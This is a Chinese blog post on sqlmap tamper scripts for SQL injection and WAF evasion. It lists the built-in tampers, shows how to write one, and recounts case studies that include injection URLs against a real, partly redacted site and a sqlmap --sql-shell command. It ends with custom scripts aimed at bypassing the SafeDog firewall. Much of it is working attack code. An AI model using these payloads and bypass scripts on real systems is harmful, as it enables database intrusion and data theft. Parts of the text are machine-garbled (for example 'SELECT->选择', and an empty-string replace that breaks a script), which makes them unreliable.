查看sqlmap全部脚本
$ python sqlmap.py --list-tampers
使用方法
--tamper=TAMPER
2019.9更新后翻译
* apostrophemask.py-用其UTF-8全角字符替换撇号(')(例如'->%EF%BC%87)
* apostrophenullencode.py-用非法的双unicode替换撇号(')(例如'->%00%27)
* appendnullbyte.py-在有效载荷的末尾附加(访问)NULL字节字符(%00)
* base64encode.py-Base64对给定有效载荷中的所有字符进行编码
* between.py- 替换较大比运算符('>')带有'NOT BETWEEN 0 AND#',等于运算符('=')与'BETWEEN#AND#'
* bluecoat.py-用有效的随机空白字符替换SQL语句后的空格字符。然后用运算符LIKE替换字符'='
* chardoubleencode.py-双重URL编码给定有效负载中的所有字符(未处理已编码)(例如SELECT->%2553%2545%254C%2545%2543%2554)
* charencode.py-URL编码中的所有字符给定的有效载荷(不处理已经编码的)(例如SELECT->%53%45%4C%45%43%54)
* charunicodeencode.py-Unicode-URL编码给定的有效载荷中的所有字符(不处理已经编码的)(例如SELECT->%u0053%u0045%u004C%u0045%u0043%u0054)
* charunicodeescape.py-Unicode转义给定有效负载中的未编码字符(未处理已编码的字符)(例如SELECT-> \ u0053 \ u0045 \ u004C \ u0045 \ u0043 \ u0054)
* commalesslimit.py-用'LIMIT N OFFSET M'替换(MySQL)实例,例如'LIMIT M,N'
* commalessmid.py-用'MID(A FROM B FOR C)'替换(MySQL)实例,例如'MID(A,B,C)'
* commentbeforeparentheses.py-在括号前加(内联)注释(例如((-> / ** /()
* concat2concatws.py-用'CONCAT_WS(MID(CHAR(0),0,0),A,B)' 等价物(相当于)替换(MySQL)实例,例如'CONCAT(A,B)' 。
* equaltolike.py- 将所有出现的等于('=')运算符替换为'LIKE'
* escapequotes.py-斜杠转义单引号和双引号(例如'-> \')
* great.py- 替换大于运算符('>' )和'GREATEST'对应
* Halfversionedmorekeywords.py-在每个关键字
* hex2char.py-替换每个(MySQL)0x等效的CONCAT(CHAR(),...)编码字符串
* htmlencode.py-HTML编码(使用代码点)所有非字母数字字符(例如'->')
* ifnull2casewhenisnull.py-替换'IFNULL( A,B)'与'CASE WHEN ISNULL(A)THEN(B)ELSE(A)END'对应
* ifnull2ifisnull.py-用'IF(ISNULL(A),B)替换'IFNULL(A,B)'之类的实例,A)'对应
* informationschemacomment.py-在所有出现的(MySQL)“ information_schema”标识符的末尾添加一个内联注释(/ ** /)
* least.py 用'LEAST'对应替换大于运算符('>')
* lowercase.py-用小写值替换每个关键字字符(例如SELECT->选择)
* luanginx.py-LUA-Nginx WAF绕过(例如Cloudflare)
* modsecurityversioned.py-包含带有(MySQL)版本注释的完整查询
* modsecurityzeroversioned.py-包含带有(MySQL)零版本注释的完整查询
* multiplespaces.py-在SQL关键字周围添加多个空格('')
* overlongutf8.py-将给定有效载荷中的所有(非字母数字)字符转换为超长UTF8(未处理已编码)(例如'->%C0%A7)
* overlongutf8more.py-将给定有效载荷中的所有字符转换为超长UTF8(尚未处理编码)(例如SELECT->%C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94)
* percent.py-在每个字符前面添加一个百分号('%') (例如SELECT->%S%E%L%E%C%T)
* plus2concat.py-替换加号运算符('+')与(MsSQL)函数CONCAT()对应
* plus2fnconcat.py-用(MsSQL)ODBC函数{fn CONCAT()}替换加号('+')对应项
* randomcase.py-用随机大小写值替换每个关键字字符(例如SELECT-> SEleCt)
* randomcomments.py -在SQL关键字内添加随机内联注释(例如SELECT-> S / ** / E / ** / LECT)
* sp_password.py-将(MsSQL)函数'sp_password'附加到有效负载的末尾,以便从DBMS日志中自动进行混淆
* space2comment.py-用注释'/ ** /' 替换空格字符('')
* space2dash.py-用短划线注释('-')替换空格字符(''),后跟一个随机字符串和一个新的行('\ n')
* space2hash.py-用井字符('#')替换(MySQL)空格字符('')实例,后跟随机字符串和换行('\ n')
* space2morecomment.py-替换(MySQL)带注释'/ ** _ ** /' 的空格字符('')实例
* space2morehash.py-用井号('#')后面跟一个随机字符串替换(MySQL)空格字符('')实例和新行('\ n')
* space2mssqlblank.py-用有效的替代字符集中的随机空白字符替换空间字符('')的(MsSQL)实例
* space2mssqlhash.py-替换空间字符('' )和井号('#'),后接换行('\ n')
* space2mysqlblank.py-用有效替代字符集中的随机空白字符替换(MySQL)空格字符('')实例
* space2mysqldash.py-用破折号('-')替换空格字符('') )后跟换行('\ n')
* space2plus.py-用加号('+')替换空格字符('')
* space2randomblank.py-用空格中的随机空白字符替换空格字符('')有效的替代字符集
* substring2leftright.py-用LEFT和RIGHT替换PostgreSQL SUBSTRING
* symbolicologic.py-用其符号对应物(&&和||)替换AND和OR逻辑运算符
* unionalltounion.py-用UNION SELECT对应项替换UNION ALL SELECT的实例
* unmagicquotes.py-用多字节组合%BF%27替换引号字符('),并在末尾添加通用注释(以使其起作用)
* uppercase.py-用大写值替换每个关键字字符(例如select -> SELECT)
* varnish.py-附加HTTP标头'X-originating-IP'以绕过Varnish防火墙
* versionedkeywords.py-用(MySQL)版本注释将每个非功能性关键字括起来
* versionedmorekeywords.py-将每个关键字包含(MySQL)版本注释
* xforwardedfor.py-附加伪造的HTTP标头'X-Forwarded-For'
tamper脚本编写
拿第一个脚本apostrophemask来说
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST # 优先级设置
def dependencies(): # 当前脚本适用和不适用的情况,一般pass
pass
def tamper(payload, **kwargs): # tamper函数为自定义你的payload
"""
Replaces apostrophe character (') with its UTF-8 full width counterpart (e.g. ' -> %EF%BC%87)
References:
* http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128
* http://lukasz.pilorz.net/testy/unicode_conversion/
* http://sla.ckers.org/forum/read.php?13,11562,11850
* http://lukasz.pilorz.net/testy/full_width_utf/index.phps
>>> tamper("1 AND '1'='1")
'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
"""
return payload.replace('\'', "%EF%BC%87") if payload else payload
该脚本将 ’ 全部替换为%EF%BC%87最后返回payload
return payload.replace('\'', "%EF%BC%87") if payload else payload
具体测试情况可以添加你自己的payload,比如绕过waf,参数测试修改,下面是一些案例
一些案例
国外案例:
在最近的渗透测试中,BURP Suite在目标网站中发现了一些盲目的SQL注入漏洞。将SQLMAP指向该网站表示对我们没有任何爱,只是说它无法利用该网站。我已经向客户提到了SQLi问题,他说以前的渗透测试人员说它们无法利用。我们还是决定仔细看看。该网站的网址看起来很奇怪。我不能专门谈论有问题的网站,但是URI看起来像这样:
HTTP://www.example.tgt/website.php QnnyBZ4_ZB6qvm = xxxTcTc&k3mK4_ZQ6v = 6V9A&UQK4_ZQ6v = qVllgrr
您会注意到字段名称(带红色下划线的名称)具有非常奇怪的名称。起初我以为这些只是怪异的字段名称。也许开发人员有一些我不理解的字段代号。但是后来我注意到这些值(在BLUE中加下划线)也很奇怪。URL上的任何信息对我来说都没有任何意义。我抓住了一个同事,我们花了一些时间试图弄清楚正在使用哪种奇怪的编码。该Web应用程序具有一些有用的功能,这些功能使翻译很容易弄清楚。如果我们"AAAAAAAAA"
在网站搜索页面的ACCOUNT NUMBER字段中输入内容,则会看到它将我们重定向到包含URI的网页'QnnyBZ4_ZB6qvm=QQQQQQQQQ'
。当我们搜索其中的ACCOUNT NUMBER时'BBBBBBBBB"
,我们进入带有URI的网页'QnnyBZ4_ZB6qvm=qqqqqqqqq'
。显然,URL上使用了某种类型的字符替换密码。帐号的最大大小为9个字符。但是通过一些查询,我可以弄清楚整个字符集映射。我搜索了一个ACCOUNT NUMBER,"ABCDEFGHI"
发现一个包含的URI 'QnnyBZ4_ZB6qvm=QqnPvka03'
。我搜索'JKLMNOPQR'
并找到了一个包含的URI 'QnnyBZ4_ZB6qvm=wMU6Zybjm'
。我对每个大写,小写和数字字符都重复了此过程,很快我得到了以下字符映射。
普通字母='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
加密字母='QqnPvka03wMU6ZybjmK4BRSEWdVishgClpI1AouFNOJ9zrtL2Yef7Tc8GxDHX5'
Python使在两组字符之间转换变得容易。使用Python 3,我们可以执行以下操作:
这将单词"HELLO"
转换为"OvUUy"
使用指定的字符映射。maketrans的参数"FROM STRING"
后面是"TO STRING"
。朝另一个方向前进只是简单地反转传递给str.maketrans()的参数并传递(encrypted_letter,normal_letters)
在Python2中,您必须导入字符串模块,因为maketrans函数存储在此处。但是除此之外,语法是相同的。
现在,我可以解码网址了!因此,我们尝试了前面看到的URL。
真棒。现在这是我能理解的。现在我们可以自由地对攻击进行编码和解码了,我们在手动利用方面取得了更大的成功。但是我很懒!我希望SQLMAP为我自动化攻击!如果我不告诉SQLMAP如何对它的注入进行编码,那么它将不适用于该网站。SQLMAP篡改脚本旨在实现这一目的。SQLMAP随"TAMPER"
脚本一起分发,以执行一些任务,例如在注入结束时添加NULL字节或随机化查询中字母的大小写。创建一个自定义篡改脚本来进行字符转换非常简单。SQLMAP使用的是Python2,因此我们必须导入字符串模块。但是,以其他篡改脚本之一为例,我们快速编写了以下内容:
我们将此新文件保存为“ custom_caesar.py”,并将其放置在SQLMAP的“ tamper”目录中。然后,将脚本名称传递给-tamper参数。
python sqlmap.py -u“ https://www.example.tgt/webapp.php?QnnyBZ4_ZB6qvm = xxxTcTc&k3mK4_ZQ6v = 6V9A&UQK4_ZQ6v = qVllgrr ” -tamper = custom_caesar.py -dump
然后坐下来观看SQLMAP的胜利之路。几行自定义Python代码将此漏洞从“无法利用的误报”变为严重的漏洞,需要立即引起注意。使用篡改脚本后,我们可以使用SQLMAP访问数据库中的所有内容,从而节省了手动开发和编码的时间。只需将3行自定义Python代码插入到现有的篡改脚本模板中即可。
乌云案例:中国国际广播电视信息网络展览会 主站:
code 区域http://**.**.**.**bn.tv/
介绍:http://**.**.**.**bn.tv/channels/4.html
漏洞url:
http://**.**.**.**bn.tv/CCBN/ExhibitionOnline.aspx?TypeID=&HallID=&CustomerName=p
参数:CustomerName可注入
遇到狗:
http://**.**.**.**bn.tv/CCBN/ExhibitionOnline.aspx?TypeID=&HallID=&CustomerName=p%27) and 1=user--
绕过:
字段数:
http://**.**.**.**bn.tv/CCBN/ExhibitionOnline.aspx?TypeID=&HallID=&CustomerName=p%27)/*/\*/order /*/\*/by/*/\*/71--
然后union
http://**.**.**.**bn.tv/CCBN/ExhibitionOnline.aspx?TypeID=&HallID=&CustomerName=p%27)/*/\*/UNION/*/\*/ SELECT/*/\*/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71--
提示类型不匹配。。。
然后全部替换为NULL,报错
输入字符串的格式不正确
http://**.**.**.**bn.tv/CCBN/ExhibitionOnline.aspx?TypeID=&HallID=&CustomerName=p%27)/*/\*/UNION/*/\*/ SELECT/*/\*/NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
字段太多,需要去对应探测,但是有可能是多个NULL,所以直接用SQLMap去跑,需要自定sqlmap脚本
然后就有如下语句:
sqlmap.py --batch -u "http://**.**.**.**bn.tv/CCBN/ExhibitionOnline.aspx?TypeID=&HallID=&CustomerName=p" -p CustomerName --prefix "%27)/*/\*/" --suffix "--" --tamper "tamper/space2myscript.py" --current-user --dbs --sql-shell
仅做证明,未深入。。。
========================================================
space2myscript.py脚本:
#!/usr/bin/env python
"""
developers (goubuli)
"""
import random
import string
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def tamper(payload, **kwargs):
retVal = ""
if payload:
for i in xrange(len(payload)):
if payload[i].isspace():
retVal += "/*/\*/"
elif payload[i] == '#' or payload[i:i + 3] == '-- ':
retVal += payload[i:]
break
else:
retVal += payload[i]
return retVal
一些脚本案例:
倾旋的脚本:
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def tamper(payload,**kwargs):
if payload:
bypass_SafeDog_str = "/*x^x*/" # 一个干扰字符
payload=payload.replace("UNION",bypass_SafeDog_str+"UNION"+bypass_SafeDog_str) # 在UNION的左右两边添加干扰字符
payload=payload.replace("SELECT",bypass_SafeDog_str+"SELECT"+bypass_SafeDog_str) # 同上,
payload=payload.replace("AND",bypass_SafeDog_str+"AND"+bypass_SafeDog_str) # 同上,
payload=payload.replace("=",bypass_SafeDog_str+"="+bypass_SafeDog_str) # 将空格替换成干扰字符
payload=payload.replace(" ",bypass_SafeDog_str)
payload=payload.replace("information_schema.","%20%20/*!%20%20%20%20INFOrMATION_SCHEMa%20%20%20%20*/%20%20/*^x^^x^*/%20/*!.*/%20/*^x^^x^*/") # 将information_schema.这个关键字替换成URL编码后的内容
payload=payload.replace("FROM",bypass_SafeDog_str+"FROM"+bypass_SafeDog_str) # 同样替换
#print "[+]THE PAYLOAD RUNNING...Bypass safe dog 4.0 apache version ."
print payload # 输出Payload
return payload # 返回Payload
#!/usr/bin/env python
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def tamper(payload):
if payload:
pass
payload = payload.replace("SLEEP(5)","\"0\" LikE Sleep(5)") # 将SLEEP(5)替换成"0" LIKE Sleep(5),因为Sleep()函数执行后会返回0,0等于0就会返回true
payload = payload.replace("","/*FFFFFFFFFFFFFFFFFFFFFFFFF*/") # 将空格替换
p = re.compile(r'(\d+)=')
payload=p.sub(r"'\1'LikE ", payload) #将数字附近的=替换成LikE
return payload # 返回payload
参考:https://payloads.online/archivers/2017-06-08/1
来源:oschina
链接:https://my.oschina.net/u/4300698/blog/3382630